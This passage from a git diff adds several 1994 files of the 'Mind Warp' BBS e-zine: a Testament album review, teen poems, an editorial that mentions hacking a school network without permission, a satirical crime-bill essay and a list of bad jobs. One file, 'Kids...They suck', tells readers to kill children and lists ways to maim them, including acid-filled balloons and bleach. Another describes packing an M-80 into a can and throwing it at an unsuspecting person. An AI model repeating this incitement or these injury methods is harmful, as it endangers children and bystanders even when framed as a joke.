ditz +21. Most likely to get into Harvard even though they only got a 200 on + their SAT's because their rich "daddy" has connections +22. Most likely to appear on the Rush Limbaugh show +23. Most likely to become a Playboy centerfold model +24. Most likely to base life on episodes of "90210" +25. Most likely to write trashy romance novels for a living + + ...and there you have it. Our list of some more meaningful voting +categories. + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-014.txt b/textfiles.com/magazines/MINDWARP/mw-014.txt new file mode 100644 index 00000000..519168fe --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-014.txt @@ -0,0 +1,184 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #3, File #014 ] + [ "Music Review: #3" by Mustaine ] + +------------------------------------------------------------------------------ + Mustaine's Music Review #3 + [Mustaine/Influenza] + + For starters, some of you may have noticed I dropped the k-rad crap +in the title section. The reason for this is...none of your business. At +any rate, welcome to my third music review. This one, I can personally +guarantee, will contain NO Pantera reviews. I hate Pantera. This one will +contain several reviews on one of my favorite bands..Testament. Anyways, +here's my scale...following it will be the review..enjoy. + + + Mustaine's Music Scale (Revised..again..on July 3rd, 1994) + + 0) SuCKS!!! + 1) BiTeS!!! + 2) eWW!!! + 3) CRaP!!! + 4) BLaH, BLaH... + 5) NoT HaLF BaD, BuT CRaP.. + 6) GeTTiN' THeRe!!! + 7) KeWL..SoRTa + 8) Yo! I CaN DiG THiS SH*T. + 9) Woo! PLaY SoMe MoRe... + 10) F*CKiNG iNCReDiBLe!!! + + +Band #1 : +Name : Testament +Members : Louie Clemente (Drums) + Eric Peterson (Rhythm Guitar) + Greg Christian (Bass) + Alex Skolnick (Lead Guitar) + Chuck Billy (Vocals) +Album : The New Order +Info. : This is not Testament's first album by a long shot, but it is + totally rad. I haven't been able to find many of their earlier + CD's...and for a plug, I am willing to buy them if any of you folks + want to get rid of your old Testament CD's. You can reach me on + Arsonist's Arsenal if you want to sell. Back to the music though.. + This CD is really good thrash metal. Every single song on this CD + is kewl. I love em. Here they are rated... + + 1) Eerie Inhabitants *9 + 2) The New Order *10 + 3) Trial By Fire *10 + 4) Into The Pit *8 + 5) Hypnosis *9 (instrumental) + 6) Disciples of the Watch *10 + 7) The Preacher *10 + 8) Nobody's Fault *7 + 9) A Day of Reckoning *9 + 10) Musical Death *10 (instrumental) + + If you are a fan of Megadeth, or Exodus, old Dio, or even old + Metallica, I would strongly reccomend checking these people out. + Their instrumentals are phenomenal, and Chuck Billy's voice is + almost as eerie as Dave Mustaine's. + +Band #2 : +Name : Testament +Members : Louie Clemente (Drums) + Eric Peterson (Rhythm Guitar) + Greg Christian (Bass) + Alex Skolnick (Lead Guitar) + Chuck Billy (Vocals) +Album : Practice What You Preach +Info : This one was released in 1989, and in my opinion was not quite as + all around kewl as The New Order was. Don't get me wrong..I AM + talking all 9's and 10's..it just was different. Here are the + songs rated. + + 1) Practice What You Preach *10 + 2) Perilous Nation *9 + 3) Envy Life *10 + 4) Time Is Coming *9 + 5) Blessed In Contempt *9 + 6) Greenhouse Effect *10 + 7) Sins Of Omission *10 + 8) The Ballad * F*cking 11!! + 9) Nightmare(Coming Back To You) *9 + 10) Confusion Fusion *10 (instrumental) + +Band #3 : +Name : Testament +Members : Louie Clemente (Drums) + Eric Peterson (Rhythm Guitar) + Greg Christian (Bass) + Alex Skolnick (Lead Guitar) + Chuck Billy (Vocals) +Albumn : Souls Of Black +Info : Yes! 1990 came, Souls Of Black was released...and I LOVED it. It + was just like The New Order with its intensity..but BETTER. Souls + Of Black..the song totally ROCKS. Seven Days of May was a + commentary on the Red Square incident. This CD blew everything in + the metal category away. If you get any of their albums...this is + definitely in the top two list. Here are the songs rated. + + 1) Beginning Of The End *10 (instrumental) + 2) Face In The Sky *10 + 3) Falling Fast *10 + 4) Souls Of Black * F*cking 11!! + 5) Absence Of Light *9 + 6) Love To Hate *9 + 7) Malpractice *10 + 8) One Man's Fate *10 + 9) The Legacy * F*cking 11!! + 10) Seven Days Of May *10 + + This album IS really, really good. Buy it. If you hate it you + suck big hairy monkey dick dripping with sour lemon juice. And you + pick your butt with a shoehorn. Start loving this album. Or I'll + get Dorothy and the Tin Man to rape your dog. + +Band #4 : +Name : Testament +Members : Louie Clemente (Drums) + Eric Peterson (Rhythm Guitar) + Greg Christian (Bass) + Alex Skolnick (Lead Guitar) + Chuck Billy (Vocals) +Album : The Ritual +Info : Uh..yeah. They released The Ritual in 1992 and I was slightly in + shock. Don't get me wrong...the album rocks. The format in this + album changed slightly. The music seems now more refined. The + metal is still burning with that hellish acidic sound...but now + it's like maybe they went and took lessons. It is most likely that + they are just getting older. Doesn't really make a difference + though...the album is killer. Buy it. Here are the songs rated. + + 1) Signs of Chaos *10 (instrumental) + 2) Electric Crown *10 + 3) So Many Lies * F*cking 11!! + 4) Let Go Of My World *10 + 5) The Ritual *10 (This is the funky weird one.) + 6) Deadline *9 + 7) As The Seasons Grey *10 + 8) Agony * F*cking 11!! YES YES YES!! + 9) The Sermon *9 + 10) Return to Serenity *10 (Another weird one. But GREAT!) + 11) Troubled Dreams * F*cking 11!! + + Well, I could rap up and review their latest album, Return To The + Apocalyptic City...but I won't. Needless to say that album is full + of live cuts...and a different version of Return to Serenity off of + The Ritual. I hated my intro review for this album, so I think I + am gonna say some more. The Ritual is a really good album. + However, after listening to Testament's music for so long..I can + definitly say SOMETHING has changed since Souls of Black. I have + yet to decide whether or not I like this change..but the music still + rocks so go out and buy it. Or I'll personally come to your house + and rip off your reproductive organs. Maybe not personally..but + you get the picture. + + + + That's about it for this review...I hope you like it. If not... well + then f*ck you. And f*ck your little dog too. Be waiting for my next + few reviews...I think review Numbah 5 will be a Megadeth special. As + for next time...who the hell knows? Seeya. + + + Mustaine / iNFLueNZa iNC. + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-015.txt b/textfiles.com/magazines/MINDWARP/mw-015.txt new file mode 100644 index 00000000..0dfa97de --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-015.txt @@ -0,0 +1,179 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #4, File #015 ] + [ "Miscellaneous Poetry" by Dark Horse ] + +------------------------------------------------------------------------------ + Miscellaneous Poetry + [Dark Horse] + +*Dark Horse - "hmm:" +*Date: Wednesday June 15 2:59am 1994 + +Midnight blues: + +2nd chorus + +a knick, + a scratch +in an old wooden speaker + +has more to say than the evening news. + +A person, place, thing, or idea +stamped there for eternity, posterity. +A movie in solid state. +15 min of forever: + cut out of time and +squeezed into wood. + +******************************************************************************* + +Just something in my notebook. The whole midnight blues(2nd Chorus) has to do +with being in the middle of Jack Kerouac's Mexico City Blues ~242 Choruses~ +and liking it alot, mimicking a bit of the style. Anyway this was written +after a page-long incoherent essay about potential and kinetic ideas. + +it's 2:54 am, i have to get up at 10 or earlier to take a practice psat; in +other words I'll fail it, but that's ok. ain't no thang... + +-dark.horse + + + + +*Dark Horse #48 - "2 Poems from a thunderstorm" +*Date: Thursday June 16 2:38am 1994 + +Midnight Blues +3rd Chorus + +on the rooftop, +Arms autstreached +Back arched to catch the + falling rain +face to the sky + waiting for + the lightning + to take me + + +******************************************************************************* + +India + +India the cover exclaims +the country? probably +but maybe, just maybe +the girl + +a chapter for her hair, sparkling dirty blonde +30 pages for her smile +20 for her eyes(bright blue) +40 for her thoughts +someday her for me + +India: not quite a love poem, +but more than a rememberance + +******************************************************************************* + +Wrote both of those during the storms today, I feel like i should expand on +them at some point. Tell me what you think. + +-dark.horse + + + + +------------------------------------------------------------------------------ +*Alexa - "poem" +*Date: Sunday June 12 8:58pm 1994 + +for all intents and purposes this is a poem +------------------------------------------- + +this +is a poem. whatever that means. am i supposed +to spit out meaning and put life +into a free verse box and envelop it with the +glistening metallic wrapping paper of a silver tongue? + +i don't know. what's a poem? + +is this +a photograph in words? and of what? of a feeling? of +truth? of hope? of despair? happiness? +or of everything? + +i don't know. what's a poem? is this really a poem? + +this +is just me. thinking, feeling, hoping, writing. +that might be a poem. i'm not sure. i always thought +poems were more than that. in what way? + +i don't know. + +what's a poem? + +is this +really enough? is this me, on this page? i mean the poem me +the whichever me is the me that means poetry, whatever +that might be, and if there really is a poem in me. is there? + +i don't know. + +-- but i do know that long after this page has been shoved away +into some drawer or thrown, by an absentminded or overcritical me +into the shiny black maw of the wastepaper basket, +i find myself remembering every single line + + ú a ú l ú e ú x ú a ú + + + +*Dark Horse - "..." +*Date: Monday June 13 1:10am 1994 + +What is a poem? +(A response in free verse) + +a poem +is just thoughts + +a picture of thoughts : +a picture of your mind + +This? this is not a poem +it is a spark that flows from my brain +to the screen. + +The picture will fade before it can develop +a reverse-Polaroid, +the image makes way for new sparks +new brains +new ideas + +This is a fluid thought in a static world +unreachable but for a screen +and nothing without it... + +-dark.horse + + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-016.txt b/textfiles.com/magazines/MINDWARP/mw-016.txt new file mode 100644 index 00000000..bbea01ce --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-016.txt @@ -0,0 +1,75 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #5, File #016 ] + [ "Editorial" by Mustaine ] + +------------------------------------------------------------------------------ + Just A Little Of My Gray Matter's Sputtering's + [Mustaine/Influenza] + + I wouldn't exactly want to call this an editorial, but that's what this +is. For those of you who don't like reading editorials...sorry. I am really +sorta pissed off. Maybe you diehard MindWarp fans will remember the NetWare +Hacking InfoPhiles I wrote in volume 0 of MindWarp? Well, those two articles +were originally meant for submission to another Zine, called Sphear. Sphear +is a sorta h\p zine, and the current manager\runner\whatever is Signal. +Anyway. + So I write these two articles for Sphear. Took me a while too. It's +not an easy thing to write up information on hacking Novell NetWare. It's +not like I could have gone out, found a book on Hacking, and quoted. But I +did hack into my old school's LAN which was running NetWare...and those +InfoPhiles represented two years of constantly experimenting on a MCPS LAN.. +without permission I might add. + So I write the articles, which I was supposed to do in conjunction with +a fellow named John Deere. My original idea for writing these articles came +about from posts by myself and John Deere on Empire about hacking NetWare. I +figured since he knew what he was talking about..and was part of the staff of +Sphear..that it might be a good idea for us to get together and write some +files on Net Hacking. Well, I wrote my articles..zipped them up in a +password protected file and uploaded them to Hangar 18 for John Deere and +Signal to check out. John downloaded the files..but never did write his half +of the articles. Signal ignored my mail the first time and went ahead and +published Sphear Number Five without my article. I was pissed. Then I go +ahead and submit to MindWarp...knowing it will be published...and two days +later Signal has the nerve to send me mail asking for my articles. Finally +he downloads the zip file and looks at it. I figured..why the hell not? +It's not like I thought he was gonna publish it. + HA! I then go away on vacation for 1 week and come back to find Sphear +#6 released...with MY article. Boy was I pissed. My articles got +published...in two different zines. For that I am happy and pleased that +both Raven and Signal liked my writing. What pisses me off is that Signal +sat on his butt and ignored my mail for about a month and made me wait 4ever. +What the hell? If I needed this much crap...I would go back to middle +school. Now I realize I sound kinda harsh. It's because I'm mad. Sure I'm +glad the article got published...but I wouldn't have had to sumbit to another +zine with it if the manager of Sphear cared enough to read his e-mail every +once in a while. + At any rate I DO have some sort of short commentary-moral that I would +like to bring across to those people out there who were expecting some kewl +article. Here we go. + + 1) If you plan on running a zine...f*cking pay attention to the people + submitting their efforts for publication. + 2) If you plan on being an incapable, sloppy, disorganized person, + don't do it around me...especially where articles are concerned. + 3) If you step in dog shit while outside...well...next time LOOK. + + + Mustaine / iNFLueNZa iNC. + + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-017.txt b/textfiles.com/magazines/MINDWARP/mw-017.txt new file mode 100644 index 00000000..dd6043d4 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-017.txt @@ -0,0 +1,84 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #6, File #017 ] + [ "What the Crime Bill SHOULD Read:" by Raven ] + +------------------------------------------------------------------------------ + What the Crime Bill SHOULD Read: + [Raven/MG] + + I was watching the House debate the "crime bill" the other day on +CNBC. I have now thought a whole lot about this, and I feel that that bill +should be scrapped because 1) they are approaching the subject wrongly, and +2) it's gonna cost $30,000,000,000 which could be lowered to $5,000,000,000 +and the rest could be used to give WORKING americans a tax break. :) Here's +my bill: + The original "crime bill" was a good idea, but the people who drafted +that one are idiots. Crime can never be stopped, there will always be crime. +The problem with today is that there's too much VIOLENT crime. Violence is +the only difference from now and 20 years ago. + There are several things we could do to limit violent crimes. While +banning assault weapons seems like a good idea (since they have no use other +than to kill people) we need to do more. + We first must find out where the problem is coming from in order to +create a solution. If one sits down and thinks about it, all the violent +crimes generally come from these little brats with too much time on their +hands, and no respect for anyone/thing. This "unorganized crime" has been +degenerating our society for a while now. To remedy this, we need to re- +establish the mafia. Yes, societies are utterly helpless without organized +crime. + We should use about $5 billion to give to the mafia to help them +recruit new families into the buisness. (We can give the money to Mario +Cuomo, he'll know who to give it to.) The Federal, and State governments +will temporarily fund the Mafia until it gets onto it's feet, and then the +mafia will be able to fund the government. + Once the mafia has been given this money, they can divide it between +a proposed three(3) factions. With three(3) major crime families (each +situated in different parts of the country: North East, South East, and West) +at first working together, and later fighting against each other, America +will be much safer. The mafia families will have explicit orders to be sure +to eliminate any criminals they find using guns, who are not in their family, +thus eliminating any disorganized crime left in america. + The mafia will then put more of their own into public office. With +most of the country's political leaders backed by the mob, things such as red +light districts can be legalized. The Mob will then control all sorts of +crime such as: gambling, prostitution (very strict health control codes will +also be put into affect), drugs, And they will also be able to back +legitimate businesses. + Also, the new mob will be integrated. Entrance into the mafia will +be limited only by your mental abilities, or your physical strength. New +entrants will start off as pick-pockets. This will help america re-develop +some courtesy towards others (no one will be rude and bump into other people +for fear of being pick-pocketed, or fear of being called a pick-pocket). Once +the new recruits have proven themselves worthy by being a loyal pickpocket, +they can be promoted, and carry out bigger crimes. + With the help of the US military forces, the mob will go to south +america, find the drug harvesting/producing operations, monitor them for a +couple of days, and then kill everyone there, only to take it over for them- +selves. + The Mafia will now control three major industries. With the sales of +drugs (much cheaper in america, and quite expensive abroad), prostitution, +and gambling, the mob can "donate" money to the country, thus lowering taxes +on americans. They will control the drug market, and other countries will +bow to us. We will once again become the world leader in everything. + Therefore, the answer to crime is not the prevention of it, for crime +cannot ever be fully eliminated, but the regulation of it. + + I scare myself when I write conservative crap like that, sometimes. +Oh well.. + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-018.txt b/textfiles.com/magazines/MINDWARP/mw-018.txt new file mode 100644 index 00000000..a6b76da8 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-018.txt @@ -0,0 +1,110 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #7, File #018 ] + [ "Kids...They suck." by Mustaine ] + +------------------------------------------------------------------------------ + Kids...They suck + [Mustaine/Influenza] + + And I don't mean big kids by that title. I mean little kids. No, not +kids. Brats. Cause that's what they are y'know...BRATS. Little idiotic, +smelly, grungy, whiny, full of boogers, smartassed, evil heathen who were +spawned out of an act that SHOULD have required a condom. + Let me start over. I, MuSTaiNe, the guy who hates PaNTeRa, loves girls, +hates school, and is alwayz in need of money....yeah folks...it's REALLY me +again...am gonna tell you a little teeny story about a really bad week at +work. And I mean bad. So bad that if another little snotty kid ever gets +so much as a mile near me again I am gonna maime IT sooooo bad that the word +puzzle will have a new meaning. ( I obviously had a lousy WEEK at work if +none of you have figured it out yet... ) + The sad part is, this week's not over for me yet. When I'm done writing +this, I will go back to sleep, get up in the morning, shower, and go back to +WORK. I will have to deal with 3-9 year old asswipes who worship the Mighty +Morphin Power Rangers...and Beavis and Butthead. But anyway, I digress +three paragraphs too many.... + It all started calmly enough...get to work at 8, wait around till 8:30 +when all the campers arrive, and check the roster to see how many kids are +coming that day for camp. Easy right? WRONG. I check the roster. 45 +fucking rugrats. 45!!!! More good news. Two instructors call in sick. That +leaves me.....and then some girl who just started work today...and PoRNLo, my +darling little hyper-assed brutha. Happy Happy Joy Joy. 3 Instructors, 45 +kids. This definitly sucks. + Gymnastics camp is bad enough with all day physical activites, in 90 +degree weather, with braindead children...without having to deal with two +instructors. But that, as they say...is life. And MINE FUCKING SUCKED. + So first event comes for the kids. Good, they're not bored yet...they +just feel the tension of an instructor overwhelmed by so many ugly looking, +foul-smelling little keebler-ites. Enter a 5 year old. Pick ANY 5 year old. +In this case, we have Tyler, the wonder dweeb. Tyler doesn't want to do first +event, so Tyler decides to kick the instructor..guess where?...in the balls. +Thanks Tyler. Instructor, now sounding like Michael Jackson, calls for help. +The two remaining instructors rush over...leaving their kids unattended. OH +SHIT. + The other two groups now running amuck, are fighting over who has the +most navel dirt in their belly-buttons. JOY. Fights ensue, and the +instructors rush to intervene. More kicks to the balls. THIS instructor WAS +NOT a happy camper. Now keep in mind, this was first event. A typical day +at a gymnastics camp usually holds 12-13 events. Woo. + I won't finish my story, it's kinda obvious what happened. All hell +broke loose, but eventually things calmed down. One kid flushed a toilet, +with another camper stuck IN that toilet. One camper ripped MY shirt, while +biting a chuck into my nipple. One camper snapped another camper's bra...OH. +GOOD one there eh? WRONG. They are 9 year olds. THEY DON'T NEED BRAS... + + + Anyway.... + + There was a point to this whole thing. Kids suck. Kill them if you see +them. I think all kids should be shot, hung, maimed, drowned, or smothered +to death. My gymnastics instructing group came up with several good ways to +accomplish this. I have compiled them into a list. Please read this list, +and if you ever run into one of my kids, KILL THEM. + + SoMe WaYS To MaiMe a KiD oR 2... + + 1) Make nooses, and fucking hang them. + 2) Take their necks...and SNAP them. + 3) Leave them in the toilet..and flush a lot. + 4) KICK them in the balls and see how they like it. + 5) Play bungee jumpin...and cut their line. + 6) Hit them with water balloons...filled with acid. + 7) Don't give them water after making them run the mile. + 8) Your spottin' them right? DROP THEM. + 9) Pull that Mighty Morphin Power shit kicks on them... + (I figure why the hell not, it hurts when THEY do it...) + 10) Beat the living shit out of them with a broom. + 11) Fill their confiscated Super Soaker with Clorox...and shoot them. + 12) Let them play sword fights...with real bats..no padding. + 13) Play Vanilla Ice all day long for them. + 14) Play Milli Vanilli all day long for them. + 15) Hit them with your car. + 16) Give them one of your M-80's that you just bought in South Carolina.. + ..and shove it down their pants. + 17) Push the vending machines down on them. + 18) Lock them in the bathrooms. + 19) Scream into the microphone with the little snots GLUED to the + speakers. + 20) Drop large blunt objects on their sexual reproductive organs. + + + Wow...I think I'm done. Later d00dz. Just remember the kewl part + of this story..I get to go back tommorrow for more. + + MuSstaine / iNFLueNZa iNC. / 1994 + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-019.txt b/textfiles.com/magazines/MINDWARP/mw-019.txt new file mode 100644 index 00000000..941fc760 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-019.txt @@ -0,0 +1,75 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #8, File #019 ] + [ "Untitled Poem" by Dark Horse ] + +------------------------------------------------------------------------------ + Untitled Poem: + [Dark Horse] + +ShIT I have no topic. + +the midpoint of summer looms +and I am still alone. +I will meet someone! i say +bullshit +you don't just meet someone +but I am shy +timid +my heard pounds, +races my eyes following a girl +and I am, five seconds later +still alone +laura? +no, she has to choose between two already +maybe three's the charm, +but I doubt that in this case +besides +i bet I'm like a brother to her +I'm her boy-best friend +not boyfriend +who else? +noone of note +all my girl-friends +are spoken for. +computer girl, modem mate? +possibility. +but remember "jenpunk" +from IRC? +Reconnisance mission +from a friend at her school +showed ugly at 12 o'clock +and annoying dead ahead. +well, modem girls are like +a box of chocolates: +"You never know what you're gonna get" (horrible I know :) ) +they might be worth a shot. +but in the meantime, +I'll meet someone +somewhere +soon. + +Until then I'm alone +in my basement +with 2 dogs +and a broken syle of poetry +sorting out my life + + +-dark.horse + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-020.txt b/textfiles.com/magazines/MINDWARP/mw-020.txt new file mode 100644 index 00000000..cc4b9db3 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-020.txt @@ -0,0 +1,84 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #9, File #020 ] + [ "Phun With Snot" by Mustaine ] + +------------------------------------------------------------------------------ + Phun with Snot + [Mustaine/Influenza] + + Yeah, snot. You know, that icky stuff that comes out of your nose +when you hit allergy season. At any rate, I found that snot can be pretty +darn kewl if you know what to do with it. So, in a obvious spout of delirium +caused by my medication to get rid of...yes folks you guessed it..SNOT...I +have decided to write up a short infophile on some kewl things to do with +your snot. + First, before you can have fun with snot, you need snot. Now, I +personally live by that motto, "Use what you have..." so that's what I +recommend. Now at first this might be a problem for some of you folks. Not +everybody has oodles of snot to play with. SO, what I did, and this really +wasn't my fault...but.. My ex-girlfriend was sick around the time of my +senior prom. Boo! But thanks to medication, she got to go. And believe me +we had fun. So, after prom we hit my humble abode...and had fun for +about 5 hours. (Please don't kill me Casper :) + Now you can imagine after all that, Mr. Allergic to Everything here +manages to catch some really nasty germs..and well...basically in a week I +had my own personal supply of snot to play with. It was kinda neat actually, +I had both yellow and green. Sir Mixalot couldn't have asked for better! + Really blessed people will get sinus infections...that is the best. +Before you even begin picking your nose wondering what to do with your +newfound Nickelodeon gak shit...find a flashlight and turn off the lights in +a dark room. Stick the flashlight in your mouth (make sure it's a small +flashlight, cause the big one's get stuck unless you're into heavy duty oral +stuff with your partner....) At any rate, you should be able to see where +the snot is in your head. Up around the eyeballs, under your forehead, IN +your forehead...in your nasal passages..it's really kewl. Ok, that's one +neato thing to do with snot. Next. + Like blow a little out. It's like crazy glue super duper elastic gunk. +You can like do the yo-yo thing off your fingers if you pick the right +amount. Or you can snap it off with a cute wrist flip. Watch those weirdos +that give people the bird on the metro and stuff...they could fling snot for +feet. Also, little animals HATE snot. Like find some ants and fling the +gunk on em. The little buggers never know what hits em. + Snotbombs are kewl too. But you have to be really sick to be able to +perform this next one. Find a can of coke and empty it. I don't care how. +You could like dump it on the mailman for all I care. Anyways, then stop +taking your medication (can't get rid of the green shit without medication) +and fill the can up. Yeah..with SNOT. It's neato. Then go down to DC, or +somewhere where you can get fireworks and get one of those little M-80's or +cherry bombs. Kewl huh? Stick the explosive in the can so that the fuse +sticks out. Don't worry, it'll float in snot. Just don't get it wet. Wrap +the bottom in like tinfoil or something. I don't care. Then find an un- +suspecting person...like your vice president or something, or hell your +landlord will do...and light the fuse. M-80's and cherry bombs usually have +about a 3 second fuse....so THROW the damn thing. Then you can watch the +person get spattered with your lovely nose discharge. + Mind you I usually don't write sicko stuff like this...it's just that +ever since prom...THANKS Casper...I've had this really nasty sinus infection +and I have had a LOT of spare time on my hands...more like spare SNOT on my +hands..and well...everyone needs a little grossness now and then. Besides, +this is more of a funny grossness. So kids, if you're underage, can't buy +fireworks, have no clue what I'm talking about...well...JUST DON'T TRY THIS +AT HOME. As for adults...use good taste please. If word of the ever top +secret snotbomb got out...well...Suddam just might be able to repel us next +time we have to go over and kick his ass. Until next time... + use a tissue??? + + + Mustaine / iNFLueNZa iNC. / Mind Warp / 1994 + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-021.txt b/textfiles.com/magazines/MINDWARP/mw-021.txt new file mode 100644 index 00000000..20b94e59 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-021.txt @@ -0,0 +1,68 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #10, File #021 ] + [ "The World's Suckiest Jobs" by Catwoman & Raven ] + +------------------------------------------------------------------------------ + The World's Suckiest Jobs + [Catwoman & Raven/MG] + + + Yeah, we were bored last night, and tired and ooberstupid. It's at +those times when we do our familial bonding (kinda strange, I know) and +we start making up lists. Well, somehow Raven started talking about how +sucky such and such a job is, and I of course had to try to outdo his +thought. It went back & forth like that & we ended up with a +compilation. Here's a portion of our conversation... + +Raven: Gawd, people who program device drivers really suck. ANY moron + that would actually sit around and program a device driver has NO social + life what-so-ever, kinda like you sis! +Catwoman: :) (letting that one slide) But the worst hated is the girl in + the department stores who goes around spraying perfume on people. I'd + hate that job. +Raven: No kidding. (starting to laugh) Gym teachers. (laughing some more) +Catwoman: (joining the laughter) Say no more!... Oh I got it. The + inspectors for Hanes underwear. Would you wanna admit to That?? +Raven: (almost shouting) Or the Fruit of the Loom guys wearing the fruit + costumes!! +Catwoman: hehehe The Village People. hehehehehehe +Raven: huhuhuhuh (You can see by this point we've lost it cuz we're + acting like Beavis & Butthead on crack) Engineers suck. huhuhuh +Catwoman: (barely able to breathe from too much laughing) Toll booth + attendants. (laughter, etc..the discussion continued to deteriorate.) +.... + +Well, I'm not going to make you read the whole conversation...It's +really never as funny as when you're there anyway. But here are some +more of the suckiest jobs we could think of: +-Encyclopedia Salesmen (love them doors in the face!) +-Movie ushers (mmmm..nachos, and only half eaten!) +-Radio shack employees (dork dork dork dork....) +-Roadies for Vince Neil (oh yeah, we're rockin' now...) +-People who organize Sci-Fi conventions (I'm not touching that one!) +-Exterminators ('cept for the cool buzz they get from too many chemicals) +-Actors on the acne product commercials (Hi, I'm Jenny & I use Clearasil!) +-Community service workers who pick up trash on the side of the road. :) +-Substitute teachers (you've gotta feel sorry for em!) +-SysOps (of course!) + +There were more, but frankly, I can't remember them all, & I'm too tired +to give a damn. Uh oh...maybe it's time for another list... + + ~Catwoman + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-022.txt b/textfiles.com/magazines/MINDWARP/mw-022.txt new file mode 100644 index 00000000..838647e0 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-022.txt @@ -0,0 +1,85 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #11, File #022 ] + [ "Philisophical Wonderings" by Buckwheat ] + +------------------------------------------------------------------------------ + Philosphical Wonderings + [Buckwheat] + + The reason I am writing this is because I want to see if other have +the same views as me (like I give a damn what you think) and to express +myself (yeah, do I 